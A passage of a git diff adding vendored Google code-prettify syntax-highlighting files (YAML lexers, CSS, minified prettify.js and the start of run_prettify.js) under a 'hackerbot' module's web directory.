|cts:element-attribute-words|cts:element-attribute-word-query-weight|cts:element-attribute-word-query-text|cts:element-attribute-word-query-options|cts:element-attribute-word-query-element-name|cts:element-attribute-word-query-attribute-name|cts:element-attribute-word-query|cts:element-attribute-word-match|cts:element-attribute-values|cts:element-attribute-value-ranges|cts:element-attribute-value-query-weight|cts:element-attribute-value-query-text|cts:element-attribute-value-query-options|cts:element-attribute-value-query-element-name|cts:element-attribute-value-query-attribute-name|cts:element-attribute-value-query|cts:element-attribute-value-match|cts:element-attribute-value-geospatial-co-occurrences|cts:element-attribute-value-co-occurrences|cts:element-attribute-range-query-weight|cts:element-attribute-range-query-value|cts:element-attribute-range-query-options|cts:element-attribute-range-query-operator|cts:element-attribute-range-query-element-name|cts:element-attribute-range-query-attribute-name|cts:element-attribute-range-query|cts:element-attribute-pair-geospatial-values|cts:element-attribute-pair-geospatial-value-match|cts:element-attribute-pair-geospatial-query-weight|cts:element-attribute-pair-geospatial-query-region|cts:element-attribute-pair-geospatial-query-options|cts:element-attribute-pair-geospatial-query-longitude-name|cts:element-attribute-pair-geospatial-query-latitude-name|cts:element-attribute-pair-geospatial-query-element-name|cts:element-attribute-pair-geospatial-query|cts:element-attribute-pair-geospatial-boxes|cts:document-query-uris|cts:document-query|cts:distance|cts:directory-query-uris|cts:directory-query-depth|cts:directory-query|cts:destination|cts:deregister|cts:contains|cts:confidence|cts:collections|cts:collection-query-uris|cts:collection-query|cts:collection-match|cts:classify|cts:circle-radius|cts:circle-center|cts:circle|cts:box-west|cts:box-south|cts:box-north|cts:box-east|cts:box|cts:bearing|cts:arc-intersection|cts:and-query-queries|cts:and-query-options|cts:and-query|cts:and-not-query-positive-query|cts:and-not-query-negative-query|cts:and-not-query|css:get|css:convert|cpf:success|cpf:failure|cpf:document-set-state|cpf:document-set-processing-status|cpf:document-set-last-updated|cpf:document-set-error|cpf:document-get-state|cpf:document-get-processing-status|cpf:document-get-last-updated|cpf:document-get-error|cpf:check-transition|alert:spawn-matching-actions|alert:rule-user-id-query|alert:rule-set-user-id|alert:rule-set-query|alert:rule-set-options|alert:rule-set-name|alert:rule-set-description|alert:rule-set-action|alert:rule-remove|alert:rule-name-query|alert:rule-insert|alert:rule-id-query|alert:rule-get-user-id|alert:rule-get-query|alert:rule-get-options|alert:rule-get-name|alert:rule-get-id|alert:rule-get-description|alert:rule-get-action|alert:rule-action-query|alert:remove-triggers|alert:make-rule|alert:make-log-action|alert:make-config|alert:make-action|alert:invoke-matching-actions|alert:get-my-rules|alert:get-all-rules|alert:get-actions|alert:find-matching-rules|alert:create-triggers|alert:config-set-uri|alert:config-set-trigger-ids|alert:config-set-options|alert:config-set-name|alert:config-set-description|alert:config-set-cpf-domain-names|alert:config-set-cpf-domain-ids|alert:config-insert|alert:config-get-uri|alert:config-get-trigger-ids|alert:config-get-options|alert:config-get-name|alert:config-get-id|alert:config-get-description|alert:config-get-cpf-domain-names|alert:config-get-cpf-domain-ids|alert:config-get|alert:config-delete|alert:action-set-options|alert:action-set-name|alert:action-set-module-root|alert:action-set-module-db|alert:action-set-module|alert:action-set-description|alert:action-remove|alert:action-insert|alert:action-get-options|alert:action-get-name|alert:action-get-module-root|alert:action-get-module-db|alert:action-get-module|alert:action-get-description|zero-or-one|years-from-duration|year-from-dateTime|year-from-date|upper-case|unordered|true|translate|trace|tokenize|timezone-from-time|timezone-from-dateTime|timezone-from-date|sum|subtract-dateTimes-yielding-yearMonthDuration|subtract-dateTimes-yielding-dayTimeDuration|substring-before|substring-after|substring|subsequence|string-to-codepoints|string-pad|string-length|string-join|string|static-base-uri|starts-with|seconds-from-time|seconds-from-duration|seconds-from-dateTime|round-half-to-even|round|root|reverse|resolve-uri|resolve-QName|replace|remove|QName|prefix-from-QName|position|one-or-more|number|not|normalize-unicode|normalize-space|node-name|node-kind|nilled|namespace-uri-from-QName|namespace-uri-for-prefix|namespace-uri|name|months-from-duration|month-from-dateTime|month-from-date|minutes-from-time|minutes-from-duration|minutes-from-dateTime|min|max|matches|lower-case|local-name-from-QName|local-name|last|lang|iri-to-uri|insert-before|index-of|in-scope-prefixes|implicit-timezone|idref|id|hours-from-time|hours-from-duration|hours-from-dateTime|floor|false|expanded-QName|exists|exactly-one|escape-uri|escape-html-uri|error|ends-with|encode-for-uri|empty|document-uri|doc-available|doc|distinct-values|distinct-nodes|default-collation|deep-equal|days-from-duration|day-from-dateTime|day-from-date|data|current-time|current-dateTime|current-date|count|contains|concat|compare|collection|codepoints-to-string|codepoint-equal|ceiling|boolean|base-uri|avg|adjust-time-to-timezone|adjust-dateTime-to-timezone|adjust-date-to-timezone|abs)\b/],
+["pln",/^[A-Za-z0-9_\-\:]+/],["pln",/^[\t\n\r \xA0]+/]]),["xq","xquery"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-yaml.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-yaml.js
new file mode 100644
index 000000000..a2b4b079c
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-yaml.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2015 ribrdb @ code.google.com
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pun",/^[:|>?]+/,null,":|>?"],["dec",/^%(?:YAML|TAG)[^#\r\n]+/,null,"%"],["typ",/^[&]\S+/,null,"&"],["typ",/^!\S*/,null,"!"],["str",/^"(?:[^\\"]|\\.)*(?:"|$)/,null,'"'],["str",/^'(?:[^']|'')*(?:'|$)/,null,"'"],["com",/^#[^\r\n]*/,null,"#"],["pln",/^\s+/,null," \t\r\n"]],[["dec",/^(?:---|\.\.\.)(?:[\r\n]|$)/],["pun",/^-/],["kwd",/^[\w-]+:[ \r\n]/],["pln",
+/^\w+/]]),["yaml","yml"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-yml.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-yml.js
new file mode 100644
index 000000000..a2b4b079c
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-yml.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2015 ribrdb @ code.google.com
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pun",/^[:|>?]+/,null,":|>?"],["dec",/^%(?:YAML|TAG)[^#\r\n]+/,null,"%"],["typ",/^[&]\S+/,null,"&"],["typ",/^!\S*/,null,"!"],["str",/^"(?:[^\\"]|\\.)*(?:"|$)/,null,'"'],["str",/^'(?:[^']|'')*(?:'|$)/,null,"'"],["com",/^#[^\r\n]*/,null,"#"],["pln",/^\s+/,null," \t\r\n"]],[["dec",/^(?:---|\.\.\.)(?:[\r\n]|$)/],["pun",/^-/],["kwd",/^[\w-]+:[ \r\n]/],["pln",
+/^\w+/]]),["yaml","yml"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/prettify.css b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/prettify.css
new file mode 100644
index 000000000..d44b3a228
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/prettify.css
@@ -0,0 +1 @@
+.pln{color:#000}@media screen{.str{color:#080}.kwd{color:#008}.com{color:#800}.typ{color:#606}.lit{color:#066}.pun,.opn,.clo{color:#660}.tag{color:#008}.atn{color:#606}.atv{color:#080}.dec,.var{color:#606}.fun{color:red}}@media print,projection{.str{color:#060}.kwd{color:#006;font-weight:bold}.com{color:#600;font-style:italic}.typ{color:#404;font-weight:bold}.lit{color:#044}.pun,.opn,.clo{color:#440}.tag{color:#006;font-weight:bold}.atn{color:#404}.atv{color:#060}}pre.prettyprint{padding:2px;border:1px solid #888}ol.linenums{margin-top:0;margin-bottom:0}li.L0,li.L1,li.L2,li.L3,li.L5,li.L6,li.L7,li.L8{list-style-type:none}li.L1,li.L3,li.L5,li.L7,li.L9{background:#eee}
\ No newline at end of file
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/prettify.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/prettify.js
new file mode 100644
index 000000000..3b74b5bda
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/prettify.js
@@ -0,0 +1,46 @@
+!function(){/*
+
+ Copyright (C) 2006 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+window.PR_SHOULD_USE_CONTINUATION=!0;
+(function(){function T(a){function d(e){var b=e.charCodeAt(0);if(92!==b)return b;var a=e.charAt(1);return(b=w[a])?b:"0"<=a&&"7">=a?parseInt(e.substring(1),8):"u"===a||"x"===a?parseInt(e.substring(2),16):e.charCodeAt(1)}function f(e){if(32>e)return(16>e?"\\x0":"\\x")+e.toString(16);e=String.fromCharCode(e);return"\\"===e||"-"===e||"]"===e||"^"===e?"\\"+e:e}function b(e){var b=e.substring(1,e.length-1).match(/\\u[0-9A-Fa-f]{4}|\\x[0-9A-Fa-f]{2}|\\[0-3][0-7]{0,2}|\\[0-7]{1,2}|\\[\s\S]|-|[^-\\]/g);e=
+[];var a="^"===b[0],c=["["];a&&c.push("^");for(var a=a?1:0,g=b.length;a<g;++a){var h=b[a];if(/\\[bdsw]/i.test(h))c.push(h);else{var h=d(h),k;a+2<g&&"-"===b[a+1]?(k=d(b[a+2]),a+=2):k=h;e.push([h,k]);65>k||122<h||(65>k||90<h||e.push([Math.max(65,h)|32,Math.min(k,90)|32]),97>k||122<h||e.push([Math.max(97,h)&-33,Math.min(k,122)&-33]))}}e.sort(function(e,a){return e[0]-a[0]||a[1]-e[1]});b=[];g=[];for(a=0;a<e.length;++a)h=e[a],h[0]<=g[1]+1?g[1]=Math.max(g[1],h[1]):b.push(g=h);for(a=0;a<b.length;++a)h=b[a],
+c.push(f(h[0])),h[1]>h[0]&&(h[1]+1>h[0]&&c.push("-"),c.push(f(h[1])));c.push("]");return c.join("")}function v(e){for(var a=e.source.match(/(?:\[(?:[^\x5C\x5D]|\\[\s\S])*\]|\\u[A-Fa-f0-9]{4}|\\x[A-Fa-f0-9]{2}|\\[0-9]+|\\[^ux0-9]|\(\?[:!=]|[\(\)\^]|[^\x5B\x5C\(\)\^]+)/g),c=a.length,d=[],g=0,h=0;g<c;++g){var k=a[g];"("===k?++h:"\\"===k.charAt(0)&&(k=+k.substring(1))&&(k<=h?d[k]=-1:a[g]=f(k))}for(g=1;g<d.length;++g)-1===d[g]&&(d[g]=++A);for(h=g=0;g<c;++g)k=a[g],"("===k?(++h,d[h]||(a[g]="(?:")):"\\"===
+k.charAt(0)&&(k=+k.substring(1))&&k<=h&&(a[g]="\\"+d[k]);for(g=0;g<c;++g)"^"===a[g]&&"^"!==a[g+1]&&(a[g]="");if(e.ignoreCase&&n)for(g=0;g<c;++g)k=a[g],e=k.charAt(0),2<=k.length&&"["===e?a[g]=b(k):"\\"!==e&&(a[g]=k.replace(/[a-zA-Z]/g,function(a){a=a.charCodeAt(0);return"["+String.fromCharCode(a&-33,a|32)+"]"}));return a.join("")}for(var A=0,n=!1,l=!1,m=0,c=a.length;m<c;++m){var p=a[m];if(p.ignoreCase)l=!0;else if(/[a-z]/i.test(p.source.replace(/\\u[0-9a-f]{4}|\\x[0-9a-f]{2}|\\[^ux]/gi,""))){n=!0;
+l=!1;break}}for(var w={b:8,t:9,n:10,v:11,f:12,r:13},r=[],m=0,c=a.length;m<c;++m){p=a[m];if(p.global||p.multiline)throw Error(""+p);r.push("(?:"+v(p)+")")}return new RegExp(r.join("|"),l?"gi":"g")}function U(a,d){function f(a){var c=a.nodeType;if(1==c){if(!b.test(a.className)){for(c=a.firstChild;c;c=c.nextSibling)f(c);c=a.nodeName.toLowerCase();if("br"===c||"li"===c)v[l]="\n",n[l<<1]=A++,n[l++<<1|1]=a}}else if(3==c||4==c)c=a.nodeValue,c.length&&(c=d?c.replace(/\r\n?/g,"\n"):c.replace(/[ \t\r\n]+/g,
+" "),v[l]=c,n[l<<1]=A,A+=c.length,n[l++<<1|1]=a)}var b=/(?:^|\s)nocode(?:\s|$)/,v=[],A=0,n=[],l=0;f(a);return{a:v.join("").replace(/\n$/,""),c:n}}function J(a,d,f,b,v){f&&(a={h:a,l:1,j:null,m:null,a:f,c:null,i:d,g:null},b(a),v.push.apply(v,a.g))}function V(a){for(var d=void 0,f=a.firstChild;f;f=f.nextSibling)var b=f.nodeType,d=1===b?d?a:f:3===b?W.test(f.nodeValue)?a:d:d;return d===a?void 0:d}function G(a,d){function f(a){for(var l=a.i,m=a.h,c=[l,"pln"],p=0,w=a.a.match(v)||[],r={},e=0,t=w.length;e<
+t;++e){var z=w[e],q=r[z],g=void 0,h;if("string"===typeof q)h=!1;else{var k=b[z.charAt(0)];if(k)g=z.match(k[1]),q=k[0];else{for(h=0;h<A;++h)if(k=d[h],g=z.match(k[1])){q=k[0];break}g||(q="pln")}!(h=5<=q.length&&"lang-"===q.substring(0,5))||g&&"string"===typeof g[1]||(h=!1,q="src");h||(r[z]=q)}k=p;p+=z.length;if(h){h=g[1];var B=z.indexOf(h),D=B+h.length;g[2]&&(D=z.length-g[2].length,B=D-h.length);q=q.substring(5);J(m,l+k,z.substring(0,B),f,c);J(m,l+k+B,h,K(q,h),c);J(m,l+k+D,z.substring(D),f,c)}else c.push(l+
+k,q)}a.g=c}var b={},v;(function(){for(var f=a.concat(d),l=[],m={},c=0,p=f.length;c<p;++c){var w=f[c],r=w[3];if(r)for(var e=r.length;0<=--e;)b[r.charAt(e)]=w;w=w[1];r=""+w;m.hasOwnProperty(r)||(l.push(w),m[r]=null)}l.push(/[\0-\uffff]/);v=T(l)})();var A=d.length;return f}function y(a){var d=[],f=[];a.tripleQuotedStrings?d.push(["str",/^(?:\'\'\'(?:[^\'\\]|\\[\s\S]|\'{1,2}(?=[^\']))*(?:\'\'\'|$)|\"\"\"(?:[^\"\\]|\\[\s\S]|\"{1,2}(?=[^\"]))*(?:\"\"\"|$)|\'(?:[^\\\']|\\[\s\S])*(?:\'|$)|\"(?:[^\\\"]|\\[\s\S])*(?:\"|$))/,
+null,"'\""]):a.multiLineStrings?d.push(["str",/^(?:\'(?:[^\\\']|\\[\s\S])*(?:\'|$)|\"(?:[^\\\"]|\\[\s\S])*(?:\"|$)|\`(?:[^\\\`]|\\[\s\S])*(?:\`|$))/,null,"'\"`"]):d.push(["str",/^(?:\'(?:[^\\\'\r\n]|\\.)*(?:\'|$)|\"(?:[^\\\"\r\n]|\\.)*(?:\"|$))/,null,"\"'"]);a.verbatimStrings&&f.push(["str",/^@\"(?:[^\"]|\"\")*(?:\"|$)/,null]);var b=a.hashComments;b&&(a.cStyleComments?(1<b?d.push(["com",/^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/,null,"#"]):d.push(["com",/^#(?:(?:define|e(?:l|nd)if|else|error|ifn?def|include|line|pragma|undef|warning)\b|[^\r\n]*)/,
+null,"#"]),f.push(["str",/^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h(?:h|pp|\+\+)?|[a-z]\w*)>/,null])):d.push(["com",/^#[^\r\n]*/,null,"#"]));a.cStyleComments&&(f.push(["com",/^\/\/[^\r\n]*/,null]),f.push(["com",/^\/\*[\s\S]*?(?:\*\/|$)/,null]));if(b=a.regexLiterals){var v=(b=1<b?"":"\n\r")?".":"[\\S\\s]";f.push(["lang-regex",RegExp("^(?:^^\\.?|[+-]|[!=]=?=?|\\#|%=?|&&?=?|\\(|\\*=?|[+\\-]=|->|\\/=?|::?|<<?=?|>>?>?=?|,|;|\\?|@|\\[|~|{|\\^\\^?=?|\\|\\|?=?|break|case|continue|delete|do|else|finally|instanceof|return|throw|try|typeof)\\s*("+
+("/(?=[^/*"+b+"])(?:[^/\\x5B\\x5C"+b+"]|\\x5C"+v+"|\\x5B(?:[^\\x5C\\x5D"+b+"]|\\x5C"+v+")*(?:\\x5D|$))+/")+")")])}(b=a.types)&&f.push(["typ",b]);b=(""+a.keywords).replace(/^ | $/g,"");b.length&&f.push(["kwd",new RegExp("^(?:"+b.replace(/[\s,]+/g,"|")+")\\b"),null]);d.push(["pln",/^\s+/,null," \r\n\t\u00a0"]);b="^.[^\\s\\w.$@'\"`/\\\\]*";a.regexLiterals&&(b+="(?!s*/)");f.push(["lit",/^@[a-z_$][a-z_$@0-9]*/i,null],["typ",/^(?:[@_]?[A-Z]+[a-z][A-Za-z_$@0-9]*|\w+_t\b)/,null],["pln",/^[a-z_$][a-z_$@0-9]*/i,
+null],["lit",/^(?:0x[a-f0-9]+|(?:\d(?:_\d+)*\d*(?:\.\d*)?|\.\d\+)(?:e[+\-]?\d+)?)[a-z]*/i,null,"0123456789"],["pln",/^\\[\s\S]?/,null],["pun",new RegExp(b),null]);return G(d,f)}function L(a,d,f){function b(a){var c=a.nodeType;if(1==c&&!A.test(a.className))if("br"===a.nodeName)v(a),a.parentNode&&a.parentNode.removeChild(a);else for(a=a.firstChild;a;a=a.nextSibling)b(a);else if((3==c||4==c)&&f){var d=a.nodeValue,q=d.match(n);q&&(c=d.substring(0,q.index),a.nodeValue=c,(d=d.substring(q.index+q[0].length))&&
+a.parentNode.insertBefore(l.createTextNode(d),a.nextSibling),v(a),c||a.parentNode.removeChild(a))}}function v(a){function b(a,c){var d=c?a.cloneNode(!1):a,k=a.parentNode;if(k){var k=b(k,1),e=a.nextSibling;k.appendChild(d);for(var f=e;f;f=e)e=f.nextSibling,k.appendChild(f)}return d}for(;!a.nextSibling;)if(a=a.parentNode,!a)return;a=b(a.nextSibling,0);for(var d;(d=a.parentNode)&&1===d.nodeType;)a=d;c.push(a)}for(var A=/(?:^|\s)nocode(?:\s|$)/,n=/\r\n?|\n/,l=a.ownerDocument,m=l.createElement("li");a.firstChild;)m.appendChild(a.firstChild);
+for(var c=[m],p=0;p<c.length;++p)b(c[p]);d===(d|0)&&c[0].setAttribute("value",d);var w=l.createElement("ol");w.className="linenums";d=Math.max(0,d-1|0)||0;for(var p=0,r=c.length;p<r;++p)m=c[p],m.className="L"+(p+d)%10,m.firstChild||m.appendChild(l.createTextNode("\u00a0")),w.appendChild(m);a.appendChild(w)}function t(a,d){for(var f=d.length;0<=--f;){var b=d[f];I.hasOwnProperty(b)?E.console&&console.warn("cannot override language handler %s",b):I[b]=a}}function K(a,d){a&&I.hasOwnProperty(a)||(a=/^\s*</.test(d)?
+"default-markup":"default-code");return I[a]}function M(a){var d=a.j;try{var f=U(a.h,a.l),b=f.a;a.a=b;a.c=f.c;a.i=0;K(d,b)(a);var v=/\bMSIE\s(\d+)/.exec(navigator.userAgent),v=v&&8>=+v[1],d=/\n/g,A=a.a,n=A.length,f=0,l=a.c,m=l.length,b=0,c=a.g,p=c.length,w=0;c[p]=n;var r,e;for(e=r=0;e<p;)c[e]!==c[e+2]?(c[r++]=c[e++],c[r++]=c[e++]):e+=2;p=r;for(e=r=0;e<p;){for(var t=c[e],z=c[e+1],q=e+2;q+2<=p&&c[q+1]===z;)q+=2;c[r++]=t;c[r++]=z;e=q}c.length=r;var g=a.h;a="";g&&(a=g.style.display,g.style.display="none");
+try{for(;b<m;){var h=l[b+2]||n,k=c[w+2]||n,q=Math.min(h,k),B=l[b+1],D;if(1!==B.nodeType&&(D=A.substring(f,q))){v&&(D=D.replace(d,"\r"));B.nodeValue=D;var N=B.ownerDocument,u=N.createElement("span");u.className=c[w+1];var y=B.parentNode;y.replaceChild(u,B);u.appendChild(B);f<h&&(l[b+1]=B=N.createTextNode(A.substring(q,h)),y.insertBefore(B,u.nextSibling))}f=q;f>=h&&(b+=2);f>=k&&(w+=2)}}finally{g&&(g.style.display=a)}}catch(x){E.console&&console.log(x&&x.stack||x)}}var E=window,C=["break,continue,do,else,for,if,return,while"],
+F=[[C,"auto,case,char,const,default,double,enum,extern,float,goto,inline,int,long,register,restrict,short,signed,sizeof,static,struct,switch,typedef,union,unsigned,void,volatile"],"catch,class,delete,false,import,new,operator,private,protected,public,this,throw,true,try,typeof"],H=[F,"alignas,alignof,align_union,asm,axiom,bool,concept,concept_map,const_cast,constexpr,decltype,delegate,dynamic_cast,explicit,export,friend,generic,late_check,mutable,namespace,noexcept,noreturn,nullptr,property,reinterpret_cast,static_assert,static_cast,template,typeid,typename,using,virtual,where"],
+O=[F,"abstract,assert,boolean,byte,extends,finally,final,implements,import,instanceof,interface,null,native,package,strictfp,super,synchronized,throws,transient"],P=[F,"abstract,add,alias,as,ascending,async,await,base,bool,by,byte,checked,decimal,delegate,descending,dynamic,event,finally,fixed,foreach,from,get,global,group,implicit,in,interface,internal,into,is,join,let,lock,null,object,out,override,orderby,params,partial,readonly,ref,remove,sbyte,sealed,select,set,stackalloc,string,select,uint,ulong,unchecked,unsafe,ushort,value,var,virtual,where,yield"],
+F=[F,"abstract,async,await,constructor,debugger,enum,eval,export,function,get,implements,instanceof,interface,let,null,set,undefined,var,with,yield,Infinity,NaN"],Q=[C,"and,as,assert,class,def,del,elif,except,exec,finally,from,global,import,in,is,lambda,nonlocal,not,or,pass,print,raise,try,with,yield,False,True,None"],R=[C,"alias,and,begin,case,class,def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo,rescue,retry,self,super,then,true,undef,unless,until,when,yield,BEGIN,END"],C=[C,"case,done,elif,esac,eval,fi,function,in,local,set,then,until"],
+S=/^(DIR|FILE|array|vector|(de|priority_)?queue|(forward_)?list|stack|(const_)?(reverse_)?iterator|(unordered_)?(multi)?(set|map)|bitset|u?(int|float)\d*)\b/,W=/\S/,X=y({keywords:[H,P,O,F,"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END",Q,R,C],hashComments:!0,cStyleComments:!0,multiLineStrings:!0,regexLiterals:!0}),I={};t(X,["default-code"]);t(G([],[["pln",/^[^<?]+/],["dec",
+/^<!\w[^>]*(?:>|$)/],["com",/^<\!--[\s\S]*?(?:-\->|$)/],["lang-",/^<\?([\s\S]+?)(?:\?>|$)/],["lang-",/^<%([\s\S]+?)(?:%>|$)/],["pun",/^(?:<[%?]|[%?]>)/],["lang-",/^<xmp\b[^>]*>([\s\S]+?)<\/xmp\b[^>]*>/i],["lang-js",/^<script\b[^>]*>([\s\S]*?)(<\/script\b[^>]*>)/i],["lang-css",/^<style\b[^>]*>([\s\S]*?)(<\/style\b[^>]*>)/i],["lang-in.tag",/^(<\/?[a-z][^<>]*>)/i]]),"default-markup htm html mxml xhtml xml xsl".split(" "));t(G([["pln",/^[\s]+/,null," \t\r\n"],["atv",/^(?:\"[^\"]*\"?|\'[^\']*\'?)/,null,
+"\"'"]],[["tag",/^^<\/?[a-z](?:[\w.:-]*\w)?|\/?>$/i],["atn",/^(?!style[\s=]|on)[a-z](?:[\w:-]*\w)?/i],["lang-uq.val",/^=\s*([^>\'\"\s]*(?:[^>\'\"\s\/]|\/(?=\s)))/],["pun",/^[=<>\/]+/],["lang-js",/^on\w+\s*=\s*\"([^\"]+)\"/i],["lang-js",/^on\w+\s*=\s*\'([^\']+)\'/i],["lang-js",/^on\w+\s*=\s*([^\"\'>\s]+)/i],["lang-css",/^style\s*=\s*\"([^\"]+)\"/i],["lang-css",/^style\s*=\s*\'([^\']+)\'/i],["lang-css",/^style\s*=\s*([^\"\'>\s]+)/i]]),["in.tag"]);t(G([],[["atv",/^[\s\S]+/]]),["uq.val"]);t(y({keywords:H,
+hashComments:!0,cStyleComments:!0,types:S}),"c cc cpp cxx cyc m".split(" "));t(y({keywords:"null,true,false"}),["json"]);t(y({keywords:P,hashComments:!0,cStyleComments:!0,verbatimStrings:!0,types:S}),["cs"]);t(y({keywords:O,cStyleComments:!0}),["java"]);t(y({keywords:C,hashComments:!0,multiLineStrings:!0}),["bash","bsh","csh","sh"]);t(y({keywords:Q,hashComments:!0,multiLineStrings:!0,tripleQuotedStrings:!0}),["cv","py","python"]);t(y({keywords:"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END",
+hashComments:!0,multiLineStrings:!0,regexLiterals:2}),["perl","pl","pm"]);t(y({keywords:R,hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),["rb","ruby"]);t(y({keywords:F,cStyleComments:!0,regexLiterals:!0}),["javascript","js","ts","typescript"]);t(y({keywords:"all,and,by,catch,class,else,extends,false,finally,for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then,throw,true,try,unless,until,when,while,yes",hashComments:3,cStyleComments:!0,multilineStrings:!0,tripleQuotedStrings:!0,
+regexLiterals:!0}),["coffee"]);t(G([],[["str",/^[\s\S]+/]]),["regex"]);var Y=E.PR={createSimpleLexer:G,registerLangHandler:t,sourceDecorator:y,PR_ATTRIB_NAME:"atn",PR_ATTRIB_VALUE:"atv",PR_COMMENT:"com",PR_DECLARATION:"dec",PR_KEYWORD:"kwd",PR_LITERAL:"lit",PR_NOCODE:"nocode",PR_PLAIN:"pln",PR_PUNCTUATION:"pun",PR_SOURCE:"src",PR_STRING:"str",PR_TAG:"tag",PR_TYPE:"typ",prettyPrintOne:E.prettyPrintOne=function(a,d,f){f=f||!1;d=d||null;var b=document.createElement("div");b.innerHTML="<pre>"+a+"</pre>";
+b=b.firstChild;f&&L(b,f,!0);M({j:d,m:f,h:b,l:1,a:null,i:null,c:null,g:null});return b.innerHTML},prettyPrint:E.prettyPrint=function(a,d){function f(){for(var b=E.PR_SHOULD_USE_CONTINUATION?c.now()+250:Infinity;p<t.length&&c.now()<b;p++){for(var d=t[p],l=g,m=d;m=m.previousSibling;){var n=m.nodeType,u=(7===n||8===n)&&m.nodeValue;if(u?!/^\??prettify\b/.test(u):3!==n||/\S/.test(m.nodeValue))break;if(u){l={};u.replace(/\b(\w+)=([\w:.%+-]+)/g,function(a,b,c){l[b]=c});break}}m=d.className;if((l!==g||r.test(m))&&
+!e.test(m)){n=!1;for(u=d.parentNode;u;u=u.parentNode)if(q.test(u.tagName)&&u.className&&r.test(u.className)){n=!0;break}if(!n){d.className+=" prettyprinted";n=l.lang;if(!n){var n=m.match(w),C;!n&&(C=V(d))&&z.test(C.tagName)&&(n=C.className.match(w));n&&(n=n[1])}if(y.test(d.tagName))u=1;else var u=d.currentStyle,x=v.defaultView,u=(u=u?u.whiteSpace:x&&x.getComputedStyle?x.getComputedStyle(d,null).getPropertyValue("white-space"):0)&&"pre"===u.substring(0,3);x=l.linenums;(x="true"===x||+x)||(x=(x=m.match(/\blinenums\b(?::(\d+))?/))?
+x[1]&&x[1].length?+x[1]:!0:!1);x&&L(d,x,u);M({j:n,h:d,m:x,l:u,a:null,i:null,c:null,g:null})}}}p<t.length?E.setTimeout(f,250):"function"===typeof a&&a()}for(var b=d||document.body,v=b.ownerDocument||document,b=[b.getElementsByTagName("pre"),b.getElementsByTagName("code"),b.getElementsByTagName("xmp")],t=[],n=0;n<b.length;++n)for(var l=0,m=b[n].length;l<m;++l)t.push(b[n][l]);var b=null,c=Date;c.now||(c={now:function(){return+new Date}});var p=0,w=/\blang(?:uage)?-([\w.]+)(?!\S)/,r=/\bprettyprint\b/,
+e=/\bprettyprinted\b/,y=/pre|xmp/i,z=/^code$/i,q=/^(?:pre|code|xmp)$/i,g={};f()}},H=E.define;"function"===typeof H&&H.amd&&H("google-code-prettify",[],function(){return Y})})();}()
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/run_prettify.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/run_prettify.js
new file mode 100644
index 000000000..0085a4ad5
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/run_prettify.js
@@ -0,0 +1,63 @@
+!function(){/*
+
+ Copyright (C) 2013 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+
+ Copyright (C) 2006 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
